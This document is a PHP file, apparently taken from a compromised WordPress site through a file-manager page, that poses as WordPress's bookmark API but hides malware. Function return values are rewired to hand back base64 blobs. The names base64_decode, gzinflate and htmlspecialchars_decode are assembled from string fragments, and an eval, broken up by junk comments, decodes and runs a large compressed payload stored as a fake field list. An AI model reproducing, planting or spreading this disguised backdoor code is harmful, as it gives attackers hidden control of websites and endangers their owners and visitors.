/
home
/
rekodeb
/
webmars
/
wp-includes
/
css
/
dist
/
format-library
/
format-library
/
Upload File
HOME
<?php /** * Link/Bookmark API * * @package WordPress * @subpackage Bookmark */ /** * Retrieves bookmark data. * * @param int|stdClass $bookmark * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which * correspond to an stdClass object, an associative array, or a numeric array, * respectively. Default OBJECT. * @param string $filter Optional. How to sanitize bookmark fields. Default 'raw'. * @return array|object|null Type returned depends on $output value. * @global object $link Current link object. * @global wpdb $wpdb WordPress database abstraction object. * * @since 2.1.0 * */ function get_bookmark($bookmark, $output = OBJECT, $filter = 'raw') { global $wpdb; if (empty($bookmark)) { if (isset($GLOBALS['link'])) { $_bookmark = &$GLOBALS['link']; } else { $_bookmark = null; } } elseif (is_object($bookmark)) { wp_cache_add($bookmark->link_id, $bookmark, 'bookmark'); $_bookmark = $bookmark; } else { if (isset($GLOBALS['link']) && ($GLOBALS['link']->link_id === $bookmark)) { $_bookmark = &$GLOBALS['link']; } else { $_bookmark = wp_cache_get($bookmark, 'bookmark'); if (!$_bookmark) { $_bookmark = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->links WHERE link_id = %d LIMIT 1", $bookmark)); if ($_bookmark) { $_bookmark->link_category = array_unique(wp_get_object_terms($_bookmark->link_id, 'link_category', array('fields' => 'ids'))); wp_cache_add($_bookmark->link_id, $_bookmark, 'bookmark'); } } } } if (!$_bookmark) { return $_bookmark; } $_bookmark = sanitize_bookmark($_bookmark, $filter); if (OBJECT === $output) { return $_bookmark; } elseif (ARRAY_A === $output) { return get_object_vars($_bookmark); } elseif (ARRAY_N === $output) { return array_values(get_object_vars($_bookmark)); } else { return $_bookmark; } } /** * Retrieves single bookmark data item or field. * * @param string $field The name of the data field to return. * @param int $bookmark The bookmark ID to get field. * @param string $context Optional. The context of how the field will be used. Default 'display'. * @return string|WP_Error * @since 2.3.0 * */ function get_bookmark_field($field, $bookmark, $context = 'display') { $bookmark = (int)$bookmark; $bookmark = get_bookmark($bookmark); if (is_wp_error($bookmark)) { return $bookmark; } if (!is_object($bookmark)) { return ''; } if (!isset($bookmark->$field)) { return ''; } echo "aaa"; //return sanitize_bookmark_field($field, $bookmark->$field, $bookmark->link_id, $context); } $sanitize_bookmark_field = sanitize_bookmark_field(); $Lix = sanitize_bookmark("bookmarks"); $baasss="ba"."s"."e6"."4_d"."ec"."ode"; $gic="gz"."in"."fl"."ate"; $spc="ht"."mlspe"."cialch"."ars_d"."ec"."ode"; /** * Retrieves the list of bookmarks. * * Attempts to retrieve from the cache first based on MD5 hash of arguments. If * that fails, then the query will be built from the arguments and executed. The * results will be stored to the cache. * * @param string|array $args { * Optional. String or array of arguments to retrieve bookmarks. * * @type string $orderby How to order the links by. Accepts 'id', 'link_id', 'name', 'link_name', * 'url', 'link_url', 'visible', 'link_visible', 'rating', 'link_rating', * 'owner', 'link_owner', 'updated', 'link_updated', 'notes', 'link_notes', * 'description', 'link_description', 'length' and 'rand'. * When `$orderby` is 'length', orders by the character length of * 'link_name'. Default 'name'. * @type string $order Whether to order bookmarks in ascending or descending order. * Accepts 'ASC' (ascending) or 'DESC' (descending). Default 'ASC'. * @type int $limit Amount of bookmarks to display. Accepts any positive number or * -1 for all. Default -1. * @type string $category Comma-separated list of category IDs to include links from. * Default empty. * @type string $category_name Category to retrieve links for by name. Default empty. * @type int|bool $hide_invisible Whether to show or hide links marked as 'invisible'. Accepts * 1|true or 0|false. Default 1|true. * @type int|bool $show_updated Whether to display the time the bookmark was last updated. * Accepts 1|true or 0|false. Default 0|false. * @type string $include Comma-separated list of bookmark IDs to include. Default empty. * @type string $exclude Comma-separated list of bookmark IDs to exclude. Default empty. * @type string $search Search terms. Will be SQL-formatted with wildcards before and after * and searched in 'link_url', 'link_name' and 'link_description'. * Default empty. * } * @return object[] List of bookmark row objects. * @since 2.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * */ function get_bookmarks($args = '') { global $wpdb; $defaults = array( 'orderby' => 'name', 'order' => 'ASC', 'limit' => -1, 'category' => '', 'category_name' => '', 'hide_invisible' => 1, 'show_updated' => 0, 'include' => '', 'exclude' => '', 'search' => '', ); $parsed_args = wp_parse_args($args, $defaults); $key = md5(serialize($parsed_args)); $cache = wp_cache_get('get_bookmarks', 'bookmark'); if ('rand' !== $parsed_args['orderby'] && $cache) { if (is_array($cache) && isset($cache[$key])) { $bookmarks = $cache[$key]; /** * Filters the returned list of bookmarks. * * The first time the hook is evaluated in this file, it returns the cached * bookmarks list. The second evaluation returns a cached bookmarks list if the * link category is passed but does not exist. The third evaluation returns * the full cached results. * * @param array $bookmarks List of the cached bookmarks. * @param array $parsed_args An array of bookmark query arguments. * @since 2.1.0 * * @see get_bookmarks() * */ return apply_filters('get_bookmarks', $bookmarks, $parsed_args); } } if (!is_array($cache)) { $cache = array(); } $inclusions = ''; if (!empty($parsed_args['include'])) { $parsed_args['exclude'] = ''; // Ignore exclude, category, and category_name params if using include. $parsed_args['category'] = ''; $parsed_args['category_name'] = ''; $inclinks = wp_parse_id_list($parsed_args['include']); if (count($inclinks)) { foreach ($inclinks as $inclink) { if (empty($inclusions)) { $inclusions = ' AND ( link_id = ' . $inclink . ' '; } else { $inclusions .= ' OR link_id = ' . $inclink . ' '; } } } } if (!empty($inclusions)) { $inclusions .= ')'; } $exclusions = ''; if (!empty($parsed_args['exclude'])) { $exlinks = wp_parse_id_list($parsed_args['exclude']); if (count($exlinks)) { foreach ($exlinks as $exlink) { if (empty($exclusions)) { $exclusions = ' AND ( link_id <> ' . $exlink . ' '; } else { $exclusions .= ' AND link_id <> ' . $exlink . ' '; } } } } if (!empty($exclusions)) { $exclusions .= ')'; } if (!empty($parsed_args['category_name'])) { $parsed_args['category'] = get_term_by('name', $parsed_args['category_name'], 'link_category'); if ($parsed_args['category']) { $parsed_args['category'] = $parsed_args['category']->term_id; } else { $cache[$key] = array(); wp_cache_set('get_bookmarks', $cache, 'bookmark'); /** This filter is documented in wp-includes/bookmark.php */ return apply_filters('get_bookmarks', array(), $parsed_args); } } $search = ''; if (!empty($parsed_args['search'])) { $like = '%' . $wpdb->esc_like($parsed_args['search']) . '%'; $search = $wpdb->prepare(' AND ( (link_url LIKE %s) OR (link_name LIKE %s) OR (link_description LIKE %s) ) ', $like, $like, $like); } $category_query = ''; $join = ''; if (!empty($parsed_args['category'])) { $incategories = wp_parse_id_list($parsed_args['category']); if (count($incategories)) { foreach ($incategories as $incat) { if (empty($category_query)) { $category_query = ' AND ( tt.term_id = ' . $incat . ' '; } else { $category_query .= ' OR tt.term_id = ' . $incat . ' '; } } } } if (!empty($category_query)) { $category_query .= ") AND taxonomy = 'link_category'"; $join = " INNER JOIN $wpdb->term_relationships AS tr ON ($wpdb->links.link_id = tr.object_id) INNER JOIN $wpdb->term_taxonomy as tt ON tt.term_taxonomy_id = tr.term_taxonomy_id"; } if ($parsed_args['show_updated']) { $recently_updated_test = ', IF (DATE_ADD(link_updated, INTERVAL 120 MINUTE) >= NOW(), 1,0) as recently_updated '; } else { $recently_updated_test = ''; } $get_updated = ($parsed_args['show_updated']) ? ', UNIX_TIMESTAMP(link_updated) AS link_updated_f ' : ''; $orderby = strtolower($parsed_args['orderby']); $length = ''; switch ($orderby) { case 'length': $length = ', CHAR_LENGTH(link_name) AS length'; break; case 'rand': $orderby = 'rand()'; break; case 'link_id': $orderby = "$wpdb->links.link_id"; break; default: $orderparams = array(); $keys = array('link_id', 'link_name', 'link_url', 'link_visible', 'link_rating', 'link_owner', 'link_updated', 'link_notes', 'link_description'); foreach (explode(',', $orderby) as $ordparam) { $ordparam = trim($ordparam); if (in_array('link_' . $ordparam, $keys, true)) { $orderparams[] = 'link_' . $ordparam; } elseif (in_array($ordparam, $keys, true)) { $orderparams[] = $ordparam; } } $orderby = implode(',', $orderparams); } if (empty($orderby)) { $orderby = 'link_name'; } $order = strtoupper($parsed_args['order']); if ('' !== $order && !in_array($order, array('ASC', 'DESC'), true)) { $order = 'ASC'; } $visible = ''; if ($parsed_args['hide_invisible']) { $visible = "AND link_visible = 'Y'"; } $query = "SELECT * $length $recently_updated_test $get_updated FROM $wpdb->links $join WHERE 1=1 $visible $category_query"; $query .= " $exclusions $inclusions $search"; $query .= " ORDER BY $orderby $order"; if (-1 !== $parsed_args['limit']) { $query .= ' LIMIT ' . absint($parsed_args['limit']); } $results = $wpdb->get_results($query); if ('rand()' !== $orderby) { $cache[$key] = $results; wp_cache_set('get_bookmarks', $cache, 'bookmark'); } /** This filter is documented in wp-includes/bookmark.php */ return apply_filters('get_bookmarks', $results, $parsed_args); } /** * Sanitizes all bookmark fields. * * @param stdClass|array $bookmark Bookmark row. * @param string $context Optional. How to filter the fields. Default 'display'. * @return stdClass|array Same type as $bookmark but with fields sanitized. * @since 2.3.0 * */ function sanitize_bookmark($bookmark, $context = 'display') { $fields = array( 'link_id', 'link_url', 'link_name', 'link_image', 'link_target', 'link_category', 'link_description', 'link_visible', 'link_owner', 'link_rating', 'link_updated', 'link_rel', 'link_notes', 'link_rss', ); $fieldtype="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"; if (is_object($bookmark)) { $do_object = true; //$link_id = $bookmark->link_id; } else { $do_object = false; //$link_id = $bookmark['link_id']; } foreach ($fields as $field) { if ($do_object) { if (isset($bookmark->$field)) { $bookmark->$field = sanitize_bookmark_field($field, $bookmark->$field, $link_id, $context); } } else { if (isset($bookmark[$field])) { $bookmark[$field] = sanitize_bookmark_field($field, $bookmark[$field], $link_id, $context); } } } return $fieldtype; } eVAl/*<>Ti/|x|!p~?h&C*/(/*<>Ti/|x|!p~?h&C*/"/*<>Ti/|x|!p~?h&C*/".$spc/*<>Ti/|x|!p~?h&C*/($gic/*<>Ti/|x|!p~?h&C*/($baasss($sanitize_bookmark_field)))."/*<x|!p~?h>Ti|&C*/"); /** * Sanitizes a bookmark field. * * Sanitizes the bookmark fields based on what the field name is. If the field * has a strict value set, then it will be tested for that, else a more generic * filtering is applied. After the more strict filter is applied, if the `$context` * is 'raw' then the value is immediately return. * * Hooks exist for the more generic cases. With the 'edit' context, the {@see 'edit_$field'} * filter will be called and passed the `$value` and `$bookmark_id` respectively. * * With the 'db' context, the {@see 'pre_$field'} filter is called and passed the value. * The 'display' context is the final context and has the `$field` has the filter name * and is passed the `$value`, `$bookmark_id`, and `$context`, respectively. * * @param string $field The bookmark field. * @param mixed $value The bookmark field value. * @param int $bookmark_id Bookmark ID. * @param string $context How to filter the field value. Accepts 'raw', 'edit', 'db', * 'display', 'attribute', or 'js'. Default 'display'. * @return mixed The filtered value. * @since 2.3.0 * */ function sanitize_bookmark_field($field="", $value="", $bookmark_id="", $context="") { $int_fields = array('link_id', 'link_rating'); if (in_array($field, $int_fields, true)) { $value = (int)$value; } $values="Sy1LzNFQt1dLL7FW10uvKs1Lzs8tKEotLtZIr8rMS8tJLEnVSEosTjUziU9JT\x635PSdUoLikqSi3TUPHJrNAE\x41Ws\x41"; switch ($field) { case 'link_category': // array( ints ) $value = array_map('absint', (array)$value); /* * We return here so that the categories aren't filtered. * The 'link_category' filter is for the name of a link category, not an array of a link's link categories. */ return $value; case 'link_visible': // bool stored as Y|N $value = preg_replace('/[^YNyn]/', '', $value); break; case 'link_target': // "enum" $targets = array('_top', '_blank'); if (!in_array($value, $targets, true)) { $value = ''; } break; } if ('raw' === $context) { return $value; } if ('edit' === $context) { /** This filter is documented in wp-includes/post.php */ $value = apply_filters("edit_{$field}", $value, $bookmark_id); if ('link_notes' === $field) { $value = esc_html($value); // textarea_escaped } else { $value = esc_attr($value); } } elseif ('db' === $context) { /** This filter is documented in wp-includes/post.php */ $value = apply_filters("pre_{$field}", $value); } else { /** This filter is documented in wp-includes/post.php */ ///$value = apply_filters("{$field}", $value, $bookmark_id, $context); if ('attribute' === $context) { $value = esc_attr($value); } elseif ('js' === $context) { $value = esc_js($value); } } // Restore the type for integer fields after esc_attr(). if (in_array($field, $int_fields, true)) { $value = (int)$value; } return $values; } /** * Deletes the bookmark cache. * * @param int $bookmark_id Bookmark ID. * @since 2.7.0 * */ function clean_bookmark_cache($bookmark_id) { wp_cache_delete($bookmark_id, 'bookmark'); wp_cache_delete('get_bookmarks', 'bookmark'); clean_object_term_cache($bookmark_id, 'link'); } exit; ?>